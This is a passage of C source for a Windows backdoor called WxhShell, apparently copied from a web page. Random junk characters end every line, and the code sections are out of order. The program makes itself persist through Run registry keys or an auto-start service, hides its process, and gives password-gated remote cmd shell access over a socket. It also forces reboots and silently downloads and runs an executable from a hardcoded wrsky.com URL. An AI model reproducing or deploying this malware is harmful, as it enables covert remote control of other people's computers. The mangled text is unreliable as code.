    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9a]o?>`E  
    if(Boot(SHUTDOWN)) ,aS+RJNM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1c]{rO=taN  
    else { u]O}Ub`  
    closesocket(wsh); d&|5Rk ~  
    ExitThread(0); 4 Cd5-I  
    } 7_jt =sr  
    break; mM?,e7Xhs  
    } 3 i>NKS  
  // 获取shell @oH\r-jsgu  
  case 's': { .XeZjoJ$z  
    CmdShell(wsh); EJ<L,QH3  
    closesocket(wsh); I Ij:3HP  
    ExitThread(0); :XAyMK7   
    break; ,ZY\})`p  
  } w<h8`K`3  
  // 退出 LfW:G5@-  
  case 'x': { 8|\ -(:v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VCnf`wZB"  
    CloseIt(wsh); $`\qY ^.(  
    break; :a2[d1  
    } G~u$BV'  
  // 离开 kxEq_FX  
  case 'q': { wX6-WQR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~}ifwm'7 a  
    closesocket(wsh); >)*d/^  
    WSACleanup(); >+;} "J  
    exit(1); XI$W  
    break; `~lG5|  
        } ]:2Ro:4Yv  
  } . bUmT!  
  } ~fL`aU&  
kRwY#  
  // 提示信息 bk=;=K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dZ* &3.#D5  
} Y$Rte .?  
  } m*iSW]&  
NPO!J^^  
  return; S[y_Ew zq  
} 0<4'pO.6Hq  
p-(V2SP/)t  
// shell模块句柄 bYem0hzOe  
int CmdShell(SOCKET sock) @C[p?ak  
{ k^;/@:  
STARTUPINFO si; d^tY?*n  
ZeroMemory(&si,sizeof(si)); ' i5}`\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bcu Uej:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =Xid"$  
PROCESS_INFORMATION ProcessInfo; jg%mWiKwK7  
char cmdline[]="cmd"; Oi~Dio_?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G[>CBh5  
  return 0; (yuOY/~k/  
} P<[) qq@;  
@~7au9.V=X  
// 自身启动模式 =2rdbq6R  
int StartFromService(void) @Ss W  
{ 1\/vS$bi(  
typedef struct $ Fc}K+  
{ pO N#r  
  DWORD ExitStatus; -%>Tjo@B n  
  DWORD PebBaseAddress; qSD`S1'2;  
  DWORD AffinityMask; A/lznBHR  
  DWORD BasePriority; _*sd#  
  ULONG UniqueProcessId; n[i:$! ,  
  ULONG InheritedFromUniqueProcessId; [GK## z'5  
}   PROCESS_BASIC_INFORMATION; v&9:Wd*Iz'  
Ji=`XsV  
PROCNTQSIP NtQueryInformationProcess; mrKIiaU<J  
${ DSH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k'e1ZAn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #^|2PFh5  
8~.8"gQ  
  HANDLE             hProcess; |7Z}#eP//  
  PROCESS_BASIC_INFORMATION pbi; IvQuxs&a  
qyy .&+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {A ,w%  
  if(NULL == hInst ) return 0; -cn`D2RP  
{H9g&pfv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xi ,fm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5BLBcw\;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?l @=}WN  
f` -vnh^+  
  if (!NtQueryInformationProcess) return 0; e iH&<AH  
' < >Q20  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I'n}6D.M  
  if(!hProcess) return 0; U_Mag(^-  
-<T> paE9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +Qzl-eN/+  
} 21!b :a  
  CloseHandle(hProcess); cL#zE  
OQg}E@LZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4 s9^%K\8{  
if(hProcess==NULL) return 0; Edcv>}PfE  
|?f~T"|>  
HMODULE hMod; T(cpU,Q  
char procName[255]; %7\l+g,  
unsigned long cbNeeded; v-!Spf  
<+%y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1`Bhis9X8  
}+u<w{-7/  
  CloseHandle(hProcess); ,ag* /  
R Eo{E  
if(strstr(procName,"services")) return 1; // 以服务启动 ] ONmWo77o  
HuSE6an  
  return 0; // 注册表启动 ao (Lv+  
} N0K <zxR  
-Fop<q\b  
// 主模块 o:as}7/^  
int StartWxhshell(LPSTR lpCmdLine) mmNn,>AO!  
{ pA@R,O>zr  
  SOCKET wsl; rT4qx2u  
BOOL val=TRUE; g*4^HbVxt  
  int port=0; _IxYnm`pc  
  struct sockaddr_in door; !@T~m1L eY  
28}L.>5k  
  if(wscfg.ws_autoins) Install(); 8yZs>Og?  
rJ6N'vw>  
port=atoi(lpCmdLine); (X2[}K  
XA69t2J~F  
if(port<=0) port=wscfg.ws_port; L0%W;m  
W ,]Ua]  
  WSADATA data; dd6l+z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s!F8<:FRJD  
dg0WH_#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,K&L/*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Tz\v.&? $  
  door.sin_family = AF_INET; Q;m8 drU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?c fFJl  
  door.sin_port = htons(port); nx{X^oc8e  
rC/z8m3z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )U}`x }:,  
closesocket(wsl); bQ0+Y?,+/  
return 1; 8KdcU [w]  
} 5GJa+St?  
dg(sRTi{  
  if(listen(wsl,2) == INVALID_SOCKET) { k$7Kz"  
closesocket(wsl); Mt~2&$>  
return 1; pYUQSsqC  
} @zt"Y~9i  
  Wxhshell(wsl); |NFDrm  
  WSACleanup(); >pq=5Ha&  
zx?|5=+!  
return 0; .=Uu{F  
mGw*6kOIS  
} cj#.Oaeq*  
w,!N{hv(  
// 以NT服务方式启动 fLkC|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >#.du}t  
{ $JK,9G[Vu  
DWORD   status = 0; %wJ?+D/  
  DWORD   specificError = 0xfffffff; nIUts?mB  
,v9*|>4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UH5A;SrTqR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z<cPy)F]"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ySlGqR1H  
  serviceStatus.dwWin32ExitCode     = 0;  6\QsK96_  
  serviceStatus.dwServiceSpecificExitCode = 0; B6!ni@$M8X  
  serviceStatus.dwCheckPoint       = 0; {Sc*AE&Y  
  serviceStatus.dwWaitHint       = 0; 9A\\2Zz6F  
AC?a:{ ./  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {'?PGk%v  
  if (hServiceStatusHandle==0) return; 97}l`z;Z  
.&KC2#4   
status = GetLastError(); uUv^]B 8GM  
  if (status!=NO_ERROR) @< 0c  
{ 1w 9zl}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @Ps1.  
    serviceStatus.dwCheckPoint       = 0; qFY>/fCP4  
    serviceStatus.dwWaitHint       = 0; Te>m9Pav  
    serviceStatus.dwWin32ExitCode     = status; sA,2gbW  
    serviceStatus.dwServiceSpecificExitCode = specificError; PiNf;b^9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =cx_3gCr{  
    return; lO1]P&@  
  } TSRl@QVy  
RAxp2uif  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CL!s #w1I\  
  serviceStatus.dwCheckPoint       = 0; 0y;1D k!  
  serviceStatus.dwWaitHint       = 0; reNUIDt/c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !F$o$iq  
} 7wbpQ&1_  
aSfAu!j)  
// 处理NT服务事件,比如:启动、停止 Nqbm,s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [ofZ1hB4  
{ bW^{I,b<F  
switch(fdwControl) X;dUlSi  
{ :*tFW~<*b  
case SERVICE_CONTROL_STOP: !WD^To  
  serviceStatus.dwWin32ExitCode = 0; A=wh&X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j3'SM#X  
  serviceStatus.dwCheckPoint   = 0; 8;(3fSNC  
  serviceStatus.dwWaitHint     = 0; ]_! . xx>  
  { hx}X=7w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); , #(k|Zztc  
  } 9%?a\#C  
  return; ,Q+.kAh !G  
case SERVICE_CONTROL_PAUSE: h,i=Y+1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2)|G%f_lS  
  break; LH q~`  
case SERVICE_CONTROL_CONTINUE: @u-CR8^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D.w6/DxaXa  
  break; '=ydU+X  
case SERVICE_CONTROL_INTERROGATE: 42PA?^xPw  
  break; U ~8, N[  
}; A+"'8%o9}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Es1T{<G|w  
} 8+&Da  
D [K!xq  
// 标准应用程序主函数 FMqes5\ 3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jh~E!%d77  
{ L\t?^u  
R9~c: A4G  
// 获取操作系统版本 'RIx}vPf  
OsIsNt=GetOsVer(); )!=X?fz,O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j<d,7  
p $,ZYF~  
  // 从命令行安装 f;3k Yh^4  
  if(strpbrk(lpCmdLine,"iI")) Install(); poS=8mN8;  
;fm> \f  
  // 下载执行文件 @`rC2-V  
if(wscfg.ws_downexe) { uVZX53 ,g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .oe\wJS6  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2<uBC  
} }^*m0`H  
xyi4U(;  
if(!OsIsNt) { -N1X=4/fg  
// 如果时win9x,隐藏进程并且设置为注册表启动 {6>:= ?7]R  
HideProc(); S2~im?^21  
StartWxhshell(lpCmdLine); _j\ 8u`^n  
} eOUEhpE  
else PED5>90  
  if(StartFromService()) /9 |BAQ:v;  
  // 以服务方式启动 s[u*~A  
  StartServiceCtrlDispatcher(DispatchTable); 7vB6IF  
else vF'Y; M  
  // 普通方式启动 ,egbU (:l  
  StartWxhshell(lpCmdLine); ~PedR=Y0n  
n wO5<b;  
return 0; TA!6|)BUW  
} srd\Mf_Ej  
jlaC: (6  
Z67'/z$0  
nM H:7[x3  
=========================================== O?qM=W  
8MBvp*  
?l ](RI  
S1_):JvV  
a}kPc}n\  
B3&ETi5NTU  
" S+-V16{i  
'M% uw85  
#include <stdio.h> 9&OhCrxW-  
#include <string.h> Y]+KsiOL  
#include <windows.h> 0 TOw4pC  
#include <winsock2.h> &B} ,xcNO  
#include <winsvc.h> c #8@>;  
#include <urlmon.h> fvZ[eJ  
mZL0<vU@^  
#pragma comment (lib, "Ws2_32.lib") Ihx[S!:  
#pragma comment (lib, "urlmon.lib") !+3nlG4cw  
6@ =ipPCR  
#define MAX_USER   100 // 最大客户端连接数 5DVSaI$ =  
#define BUF_SOCK   200 // sock buffer zB#.EW  
#define KEY_BUFF   255 // 输入 buffer ePiZHqIsv/  
c^}DBvG,  
#define REBOOT     0   // 重启 '2ACZcjDSv  
#define SHUTDOWN   1   // 关机 18ON`j  
jUrUM.CJ\N  
#define DEF_PORT   5000 // 监听端口 p1 mY!&e(  
$%?[f;S3,  
#define REG_LEN     16   // 注册表键长度 WTu1t]  
#define SVC_LEN     80   // NT服务名长度 }ZfdjF8N!  
+Sg+% 8T  
// 从dll定义API hU 5_ dV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *\$ko)x?c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HXQ } B$V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T)Pr%kF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nF=[m; ~  
*4[P$k$7  
// wxhshell配置信息 V_jGL<X|  
struct WSCFG { \NQ[w7  
  int ws_port;         // 监听端口 kQO5sX$;  
  char ws_passstr[REG_LEN]; // 口令 -n6e;p]  
  int ws_autoins;       // 安装标记, 1=yes 0=no DWk2=cO  
  char ws_regname[REG_LEN]; // 注册表键名 h%Uq  
  char ws_svcname[REG_LEN]; // 服务名 (T =u_oe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MQl GEJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LCok4N$o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ksvk5r&y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O2oF\E_6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Twpk@2=l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '$q3Ze  
i6xzHfaYG  
}; F[~~fm_  
k3&/Ei5  
// default Wxhshell configuration C@9K`N[*  
struct WSCFG wscfg={DEF_PORT, "Q;Vy t  
    "xuhuanlingzhe", ;H"OZRQ  
    1, 4gn|zSe>^  
    "Wxhshell", km6O3> p5r  
    "Wxhshell", 4}*V=>z  
            "WxhShell Service", DfVSG1g  
    "Wrsky Windows CmdShell Service", 4\14HcTcK  
    "Please Input Your Password: ", I\('b9"*  
  1, IgKrcpK#}?  
  "http://www.wrsky.com/wxhshell.exe", MN_1^T5  
  "Wxhshell.exe" LN=#&7=$c  
    }; a!;CY1>  
#[y2nK3zF  
// 消息定义模块 |5\: E}1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *):s**BJ$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DN|+d{^lN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1A N)%  
char *msg_ws_ext="\n\rExit."; r ['zp=9  
char *msg_ws_end="\n\rQuit."; /F}dC/W  
char *msg_ws_boot="\n\rReboot..."; @Qd5a(5WM  
char *msg_ws_poff="\n\rShutdown..."; s"X0Jx}  
char *msg_ws_down="\n\rSave to "; H=*2A!O[_  
{&pBy  
char *msg_ws_err="\n\rErr!"; ,-1d2y  
char *msg_ws_ok="\n\rOK!"; M0woJt[&  
.Iv`B:4  
char ExeFile[MAX_PATH]; $QaEU="Z  
int nUser = 0; )?k~E=&o  
HANDLE handles[MAX_USER]; h`Xl~=  
int OsIsNt; BqDOo(%1)  
Y$FhV~m  
SERVICE_STATUS       serviceStatus; gTg[!}_;\N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {1'M76T  
+@anYtv%7  
// 函数声明 "cDc~~3/@  
int Install(void); 2\G[U#~bi  
int Uninstall(void); +A2}@k   
int DownloadFile(char *sURL, SOCKET wsh); /cx Ei6I-  
int Boot(int flag); G:Nwi=vN  
void HideProc(void); >&)|fV&4  
int GetOsVer(void); g7Z3GUCGL  
int Wxhshell(SOCKET wsl); Hx ojxZwm  
void TalkWithClient(void *cs); ;:P} s4p  
int CmdShell(SOCKET sock); 3+V.9TL'a  
int StartFromService(void); W(PNw2  
int StartWxhshell(LPSTR lpCmdLine); AnQUdU  
-9$.&D|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uEyus96 +  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); slV]CXW)t  
p?x]|`M  
// 数据结构和表定义 %6TS_IpJ  
SERVICE_TABLE_ENTRY DispatchTable[] = Uk4G9}I  
{ x6 h53R  
{wscfg.ws_svcname, NTServiceMain}, __ G=xf  
{NULL, NULL} M(W-\ L  
}; &M2fcw?  
$K_-I8e|  
// 自我安装 TGI`}#  
int Install(void) Y2(,E e2  
{ M[^EHa<i  
  char svExeFile[MAX_PATH]; ?1Uq ud  
  HKEY key; ;i&t|5y~  
  strcpy(svExeFile,ExeFile); 1#nY Z%  
l!%V&HJV  
// 如果是win9x系统,修改注册表设为自启动 _j|U>s   
if(!OsIsNt) { HvW6=d(#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FyRr/0C>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J%8hf%! ud  
  RegCloseKey(key); V#V<Kz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c~ Q 5A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I3dUI~}u  
  RegCloseKey(key); je=XZ's,i~  
  return 0; me@EKspX  
    } 6KKQ)DNu_  
  } ]?~[!&h  
} $H1igYc  
else { 1K[y)q  
-7A2@g  
// 如果是NT以上系统,安装为系统服务 r[AqA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &dJ\}O[r  
if (schSCManager!=0) l1]'3]P(  
{ \n0MqXs#  
  SC_HANDLE schService = CreateService %?!TqJT?{  
  ( saR9_ ux  
  schSCManager, p i\SRDP  
  wscfg.ws_svcname, 4_o+gG%HaM  
  wscfg.ws_svcdisp, 49dN~k=  
  SERVICE_ALL_ACCESS, VPOp#;"%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VBe&of+  
  SERVICE_AUTO_START, BXLw  
  SERVICE_ERROR_NORMAL, kj'  
  svExeFile, xd]7?L@h.I  
  NULL, _ Zzne  
  NULL, W";Po)YC  
  NULL, WRN}>]NgQ  
  NULL, h($Jo  
  NULL {D4N=#tl  
  ); tD No; f  
  if (schService!=0) (0zYS_m A  
  { q8 Rep  
  CloseServiceHandle(schService); fnudy% oo  
  CloseServiceHandle(schSCManager); (h% xqXs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ib~EQ?u{  
  strcat(svExeFile,wscfg.ws_svcname); fx/If  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^Rmrre`uU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #\MkbZc d  
  RegCloseKey(key); IdciGS6 t  
  return 0; eLk:">kj  
    } }~! D]/B  
  } D?r% Y  
  CloseServiceHandle(schSCManager); 420cbD3a  
} 4j~WrdI*  
} A|BN >?.t  
WmZ,c_  
return 1; o^<W3Z  
} )|<g\>/  
10$:^  
// 自我卸载 BHZSc(-o  
int Uninstall(void) I7jIA>ZZi  
{ ^tl&FWF  
  HKEY key; 1:Xg&4s  
p&3~n: Fo  
if(!OsIsNt) { bE2{^5iG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A9M/n^61  
  RegDeleteValue(key,wscfg.ws_regname); GlaZZ,   
  RegCloseKey(key); #oEq)Vq>g|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bk4G+wGw  
  RegDeleteValue(key,wscfg.ws_regname); ~)]n67Or~  
  RegCloseKey(key); H]>7IhJ  
  return 0; i|G /x  
  } ]C$$Cx)Ex  
} `}*jjnr"  
} fDZnC Fa  
else { fh@/fd  
u&$1XZ!es  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $lf\1)B~*  
if (schSCManager!=0) cb9@ 0^-  
{ 30L/-+r1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N"/be  
  if (schService!=0) x DX_s:A  
  { R5'_il  
  if(DeleteService(schService)!=0) { *uMtl'  
  CloseServiceHandle(schService); 4I3)eS%2  
  CloseServiceHandle(schSCManager); R|dSjEs  
  return 0; S-G#+ Ue2  
  } /n#t.XJY*  
  CloseServiceHandle(schService); K]dX5vJw'  
  } jp+#N pH  
  CloseServiceHandle(schSCManager); <^B!.zQ  
} LZrkFkiC  
} (JeRJ4  
uCGn9]  
return 1; jX 6+~  
} q<?r5H5  
T!gq Z  
// 从指定url下载文件 %{^kmlO  
int DownloadFile(char *sURL, SOCKET wsh) d15E$?ZLH  
{ BG2Z'WOH  
  HRESULT hr; @!s(Zkpev  
char seps[]= "/"; BZ@v8y _TA  
char *token; Wx-rW  
char *file; ,ikn%l#cm  
char myURL[MAX_PATH]; /BfCh(B  
char myFILE[MAX_PATH]; z;[Z'_B  
3|.KEJC"  
strcpy(myURL,sURL); SLI358]$<  
  token=strtok(myURL,seps); e+P|PW  
  while(token!=NULL) [LHfH3[gU  
  { %~YQl N  
    file=token; 9/LJ tM  
  token=strtok(NULL,seps); g;<_GL  
  } ut;KphvSH  
D_Cd^;b  
GetCurrentDirectory(MAX_PATH,myFILE); 6Pu5 k;H  
strcat(myFILE, "\\"); nv"D  
strcat(myFILE, file); ?c# v'c^=h  
  send(wsh,myFILE,strlen(myFILE),0); 4p_@f^v~QH  
send(wsh,"...",3,0); b:(*C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >rzpYc'~w  
  if(hr==S_OK)  S]&7  
return 0; ;gv9J [R  
else AJ-~F>gn  
return 1; <D{_q.`vA  
+G>;NiP_  
} 3 Ho<4_I,  
t!}?nw%$  
// 系统电源模块 Y4n; [nHQ(  
int Boot(int flag) ~yuj;9m3  
{ ppo\cy;  
  HANDLE hToken; OX/}j_8E^(  
  TOKEN_PRIVILEGES tkp; OPwO`pN  
Oz_|pu  
  if(OsIsNt) { |&a[@(N:zf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^)|1T#Tz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "M5&&\uT  
    tkp.PrivilegeCount = 1; Og3bV_,"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (_O_zu8_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9:jZ3U  
if(flag==REBOOT) { cE0Kvqe`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ok2>%e  
  return 0; >QM$ NIf@  
} wXxk+DV@  
else { 9Fm><,0'u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'HDbU#vD  
  return 0; .]W A/}  
} Uw5`zl  
  } ^YG.eT6iG  
  else { 1]j_4M14aA  
if(flag==REBOOT) { &`4v,l^Zi6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k,nRC~Irh  
  return 0; K# dV.  
} ,zY!EHpx  
else { Zf%6U[{ T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;qT7BUh(%  
  return 0; SZQ4e  
} )51H\o  
} 8y, ]>n  
xkzC+ _A  
return 1; bbO1`b-  
} N/fH%AtM  
|k^ *  
// win9x进程隐藏模块 4?{e?5)  
void HideProc(void) 7T3ub3\  
{ ,:QDl  
BnLWC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N2^B  
  if ( hKernel != NULL ) <e&*Tx<8  
  { Z[{: `  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1RF? dv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p4OiCAW;  
    FreeLibrary(hKernel); =a .avOZ  
  } ^J=l]  l  
xPi/nWl`|  
return; `?ijKZ}y5  
} U:.  
@n##.th  
// 获取操作系统版本 /hMD Me  
int GetOsVer(void) 'M#'BQQ5  
{ |VL(#U  
  OSVERSIONINFO winfo; Q+\?gU]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D,rs)  
  GetVersionEx(&winfo); &L S&O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C%csQ m  
  return 1; l;dZJ_Ut$  
  else Ysk,9MR(F  
  return 0; ?Q)z5i'g#  
} eY1$s mh t  
HwH Wi  
// 客户端句柄模块 n8eR?'4  
int Wxhshell(SOCKET wsl) uI I:Y{G  
{ bvM a|;f1  
  SOCKET wsh; 3:h9cO/9  
  struct sockaddr_in client; -B-nTS`  
  DWORD myID; cR1dGNcp/@  
yw%5W=<  
  while(nUser<MAX_USER) f: h.O# d>  
{ t zhkdG  
  int nSize=sizeof(client); TKsze]/q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Uaho.(_GP  
  if(wsh==INVALID_SOCKET) return 1; ='0f#>0Q  
#D$vH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *|RQ )  
if(handles[nUser]==0) )k8=< =s  
  closesocket(wsh); lnFOD+y9  
else ~\%MJ3  
  nUser++; #w4= kWJ[  
  } q1Si*?2W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s}d1 k  
S3=M k~_&  
  return 0; .f V-puE  
} ,xew3c'(W  
b&;1b<BwD  
// 关闭 socket XK (y ?Y1  
void CloseIt(SOCKET wsh) l0 H,TT~2  
{ D/w4u;E@  
closesocket(wsh); ? 5qo>W<7  
nUser--; RrkS!E[C  
ExitThread(0);  l+.E'   
} /]Fs3uf  
*@q+A1P7@  
// 客户端请求句柄 QM1-w^  
void TalkWithClient(void *cs) |yi3y `f  
{ \ :8eN}B  
9K@>{69WQ  
  SOCKET wsh=(SOCKET)cs; FBM 73D@`  
  char pwd[SVC_LEN]; T{={uzQeJJ  
  char cmd[KEY_BUFF]; \vB-0w  
char chr[1]; Ey77]\  
int i,j; g< cR/  
,*2%6t`N?  
  while (nUser < MAX_USER) { .(,4a<I?%N  
R<gC,eV<=  
if(wscfg.ws_passstr) { 0}YR=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rla4XN=mf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dUtxG ~9  
  //ZeroMemory(pwd,KEY_BUFF); Y WSo:)LY  
      i=0; pCz;km  
  while(i<SVC_LEN) { "msCiqF{z  
x=yU }lsV  
  // 设置超时 x-0IxWD%  
  fd_set FdRead; <_ 02)6j  
  struct timeval TimeOut; J<Wz3}w6  
  FD_ZERO(&FdRead); aXyu%<@k  
  FD_SET(wsh,&FdRead); EOrWax@k$}  
  TimeOut.tv_sec=8; ~(tZW  
  TimeOut.tv_usec=0; K h9$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); : z^ p s0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :".:Wd  
ObIi$uJX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TR,,=3n  
  pwd=chr[0]; J_s?e#s  
  if(chr[0]==0xd || chr[0]==0xa) { =z]&E 78Y  
  pwd=0; K,[g<7X5  
  break; 2*Uwp; 0  
  } aTs5^Kh')  
  i++; f- pt8  
    } :<=!v5 SK  
BJk:h-m [  
  // 如果是非法用户,关闭 socket J p.Sow  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jMUE&/k  
} Wxg,y{(`  
Eo\# *Cv*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L`YnrDZK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =iRi 9r'l  
^Ois]#py  
while(1) { EH"iK2n\9  
pv TV*  
  ZeroMemory(cmd,KEY_BUFF); #lQbMuR  
xTX\% s|  
      // 自动支持客户端 telnet标准   * eL%[B  
  j=0; l/yLSGjM  
  while(j<KEY_BUFF) { EA2BN}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |H5){2V>K  
  cmd[j]=chr[0]; rd\mFz-SB  
  if(chr[0]==0xa || chr[0]==0xd) { []0`>rVq  
  cmd[j]=0; 6hYv  
  break; 1 ,oC:N  
  } a J[VX)"J  
  j++; n<Z;Xh~F  
    } :Tw3Oo_~S  
gh}FZs5 P  
  // 下载文件 N{`-&8q;K  
  if(strstr(cmd,"http://")) { gLQWL}0O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x;LyR  
  if(DownloadFile(cmd,wsh)) :7IL|bA<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P"_x/C(]@J  
  else &by,uVb=|{  
